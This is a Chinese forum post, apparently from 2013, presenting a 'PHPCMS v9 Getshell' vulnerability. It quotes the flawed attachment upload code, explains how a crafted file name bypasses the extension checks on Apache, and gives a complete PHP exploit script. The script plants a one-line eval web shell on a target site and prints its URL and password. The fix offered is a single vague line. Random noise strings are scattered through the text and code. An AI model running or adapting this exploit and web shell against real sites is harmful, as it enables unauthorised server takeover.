找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2074|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
( K' u2 h/ ]! u) X2 `
+ _0 G0 y) a# ~# `" Z- n3 n- C0 _简要描述:: r% T8 i, \: S- e4 |3 {4 A2 ]
' }9 ]* h8 H$ V2 e# Y3 O$ ]0 Y
phpcms v9 getshell (apache), F% _5 A6 J* [; E1 V( m+ \. w
详细说明:, k( v% o% Q  L" v) v8 U
2 _  }+ @; e0 D2 a6 g0 G7 x1 c7 N
漏洞文件:phpcms\modules\attachment\attachments.php3 f, P6 l8 d8 W+ U' v5 h
/ g8 @& m. H% K9 |. Q$ i3 K4 n
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
& l7 o* S. N9 Z# ^+ ^后缀检测:phpcms\modules\attachment\functions\global.func.php# w" c; L% ]  x: P  j# W6 L8 ~: B' [
/ D2 v! q" i% M

2 K1 w6 T" }) ]4 S8 O' w' {2 l7 q  O6 ?- [. g0 D
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }    F; W# y5 {5 d7 L
  h) v: L# J  A( D
关键函数:% V! T. e6 {/ W' j. ?1 t1 P2 j

7 |, F6 N; Z+ Y# E  A' [8 k2 l1 w
# c" j! A  E8 T8 c# c4 l
4 v; T; a* h* h' ]2 lfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  ; e) U) D; g9 f6 A7 V. t

+ q8 I8 I  }* z3 i, _  Fileext函数是对文件后缀名的提取。, l9 J4 R5 n( R. T
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
# f6 x- s( s9 s* B% D6 |经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
$ C& n, ], q) B$ }* a9 j  d我们回到public function crop_upload() 函数中+ X/ E" k; y+ l6 g" y
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();' j: ~" K: q; [
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数/ \9 v. r# N/ v7 a$ O
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
) s% R# [2 I. i2 F9 p经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。7 Z- [) r/ t9 {3 L4 s" {0 Z
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。4 B. C) I; M& a, f
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。% @' S2 d! W6 I+ K. P
漏洞证明:7 z9 J$ v$ r* i! \" D

# O! t0 I+ T! o. B% D$ b) Gexp:
3 G: j' q! z0 H0 w6 }/ o2 O1 |' v
<?php+ }# q( I' ?4 [! X+ e
error_reporting(E_ERROR);
7 e' D) p  k; t8 L1 `1 u$ K& Y; Iset_time_limit(0);
; |; m. D; H4 }3 B* t$pass="ln";
7 {5 p% L+ r% k  n# _5 Mprint_r('
6 F' l) x0 j4 K# e% m9 D' o+---------------------------------------------------------------------------+
7 G+ p) H; R& m1 z* I6 bPHPCms V9 GETSHELL 0DAY
7 A3 x& b( a+ F$ {$ z5 i' ccode by L.N.
+ L( N* p. K+ G! b2 K
& e6 b! y- x! C; g3 B$ Tapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net% `. I5 b9 O& Z, g" L# D! D; h% Z+ @
+---------------------------------------------------------------------------+
. u2 s+ I% J2 G  C- Z( M5 [');- q; P9 X5 c  l; ?/ S. L, D
if ($argc < 2) {4 \5 h3 x  b" Y
print_r('5 M  g3 `, g6 N$ c$ r/ P: n
+---------------------------------------------------------------------------+
: l3 j! s5 N% E( F, H0 `. zUsage: php '.$argv[0].' url path
: R3 F9 v" |4 h8 \6 r5 G& o' A* \0 v$ `( y7 z
6 g) s. i7 H/ h! t$ X+ }Example:1 ?& c6 g# C1 g# F
1.php '.$argv[0].' lanu.sinaapp.com6 x  T; ^9 g, ^9 I
2.php '.$argv[0].' lanu.sinaapp.com /phpcms4 z4 y0 ^4 d. P) p# G
+---------------------------------------------------------------------------++ c3 ~/ m3 g, s+ t  P/ _0 x, w8 {' y: Q
');
% d. g8 O7 i) }! L8 c* i6 Nexit;
$ l3 `" d% v) x/ [( F2 B7 h}. x1 ]! J9 q* \! o; V2 l) C

# f+ {- g/ C+ W8 q7 }. |; x& n$url = $argv[1];
2 d2 d- E- O. b1 d" W* L$path = $argv[2];1 D) _" e. |9 b9 F8 y
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';* c6 P; o0 i+ l9 U  E
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
$ F& z* J8 n) Kif($ret=Create_dir($url,$path))
6 P' q! k( q: J0 v1 B, j6 {{. D" r& \2 x- v$ A3 c. |! m# q5 A
//echo $ret;
3 o& S9 b9 |9 B0 b( ]. k6 }! G$pattern = "|Server:[^,]+?|U";
. h5 M  ]# y5 C" f, Bpreg_match_all($pattern, $ret, $matches);: G3 e6 ~+ W; y. C
if($matches[0][0])
+ _) _3 v; @/ \8 R{
% E+ X6 P: J" H# e8 F* wif(strpos($matches[0][0],'Apache') == false)
! O' j0 P* c" W) G9 F{
* M+ j! u) L$ m$ X4 Q  P- j) Decho "\n亲!此网站不是apache的网站。\n";exit;
" J# E9 ?! F# k* R3 Z}
8 V8 I5 ?8 f# o}5 k; o+ i6 @# N
$ret = GetShell($url,$phpshell,$path,$file);
+ g4 Z4 R! b2 I2 d; Z4 g$pattern = "|http:\/\/[^,]+?\.,?|U";
/ K4 |$ G  x$ Z. Y, c0 Qpreg_match_all($pattern, $ret, $matches);
$ t$ p6 ^- n7 W# v9 `if($matches[0][0])
$ y  a- F7 e. m3 j{
" Y: f: W+ l, t1 \+ D, Q: L3 Decho "\n".'密码为: '.$pass."\n";
/ X8 ~+ Y) b4 a: G" S- v, F4 lecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;" V: u3 I2 r, U7 h  T; s4 v
}
  C5 l0 {: y, m, B/ {/ kelse
  x4 f3 R$ w4 n5 a{/ ^& H3 W, B- J' x6 l: b* k
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
$ n/ o9 N  ?9 Gpreg_match_all($pattern, $ret, $matches);  v+ g4 Y( ]7 l( D6 W5 ]7 _
if($matches[0][0])
; z& w. I( q5 t0 J- q" E8 R{2 L/ g5 L2 J* f8 T+ q. f, I  D
echo "\n".'密码为: '.$pass."\n";. \+ o) Q2 K# r. P" W; c: o7 ]6 p
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;( J" ]' |, _  D4 [* t
}4 |  _, I& {) B* k
else
# [, t; ]% U) [# u{6 y$ I; S& k+ j5 U0 H
echo "\r\n没得到!\n";exit;: n# W- T( d  `
}, Z6 N# o6 G5 [/ [* g
}
1 {, p* O3 I1 z7 U8 L/ B8 f}0 v/ e0 Y9 e3 G0 Y4 M2 d- P

" e* y3 U8 J: W' a  G) Afunction GetShell($url,$shell,$path,$js)5 j( d8 @& d0 F$ G1 I2 v- ~) s
{9 s- n1 v5 ^  t2 y9 j/ H+ h
$content =$shell;0 I$ P  y1 b) o% e  n" w
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
1 d7 U6 X; q/ G. A  F. }$data .= "Host: ".$url."\r\n";3 F! n/ ^1 P- s
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";6 R; Z! E, g. g9 S% X- V
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
+ M* H2 U# c- ?5 f: i5 U* y$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
( u8 {: d7 ~* X2 Y3 i" u/ I0 \$data .= "Connection: close\r\n";: k* w  m7 ]$ S+ V* G+ M! v% a
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
/ F: d: }+ w. L( [3 o$data .= $content."\r\n";
$ V8 C7 u& P1 K9 H$ock=fsockopen($url,80);. a$ p) M/ W' g
if (!$ock)
& }7 Z  }7 \% X& y{# F4 w  _2 E5 p$ J  O
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;2 Q7 _) {3 j6 L4 E4 e
}
( {6 D5 F' {. x- w1 relse
" o! a  r3 h1 q{- \; K" R1 p5 ?0 T
fwrite($ock,$data);, P' o: f6 R' ~( X; `
$resp = '';! L: r5 D0 K( o; ?7 i
while (!feof($ock))4 @/ U0 }  g. ~, k% b; i6 \
{
2 |' p. K6 Z4 q$ f; W/ [' H$resp.=fread($ock, 1024);# s* h8 l% {. s" @( m$ g: b
}
& k" N1 H* n2 `/ ~6 M/ dreturn $resp;/ P+ V7 a" H" b) m% j0 a0 ?) M
}) p" w; d: c! G" S1 l! l9 b5 I
}
3 W+ |' F4 D$ ~8 l6 t& i, s: [% F* @( U# g& {5 ?5 n  `; w
function Create_dir($url,$path='')
4 C7 v) S. i3 N{+ @7 @5 d, R1 \& F5 M/ U
$content ='I love you';
: X- f8 g+ o7 y6 j! h* S7 Q3 K; I$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
6 @: u6 S' t, j1 j7 Q  }1 G' T5 Z$data .= "Host: ".$url."\r\n";
5 C2 T9 f# G+ u! W& V' m. M$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";1 V( S- I0 d; Y
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";5 Y$ j% r+ ~( ~# I) l
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";& _: t; n0 N; s7 V: I# j9 ~
$data .= "Connection: close\r\n";7 j3 Z* r# V, P) b' E- V; L
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";* b3 y2 a( c; S" `+ |* w. |
$data .= $content."\r\n";, ]; _2 V( y* t+ Q9 U& [
$ock=fsockopen($url,80);
& i* x  Y" Q  l( W% c4 Z, Vif (!$ock)- g5 v# F$ }4 U; l0 T
{$ Q/ p8 P, r* ^  c# S2 L
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;+ R3 D8 }2 ]) ^! x  ^9 L$ r
}
; ?6 }4 F6 e5 r& ?fwrite($ock,$data);/ Y2 M/ j) E, \: \8 ~$ T) w, w% O
$resp = '';
; s- i& q3 w. ?" a) kwhile (!feof($ock))
5 ^% M( G' t1 z/ m{
: o1 C* W" P6 i$resp.=fread($ock, 1024);
  n" y( n, m; x: v* ?8 r! G}! J5 k/ n. r' f+ @1 e$ Y) K/ i
return $resp;' {/ {. O5 a5 o+ w: [9 `' e
}
" X* \9 C9 l! E2 a1 a* z% e?>
) q  ~8 j  y! N  g2 y# ~- I9 v
3 Z9 h5 b- `) d6 ^0 T3 Q% ?修复方案:
: i- z1 {& |- L- x' J. V
9 H* B, G' z6 l% |$ c5 h# {6 m. ?过滤过滤再过滤: t& G3 T: V8 U
/ @" e8 i6 A) y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表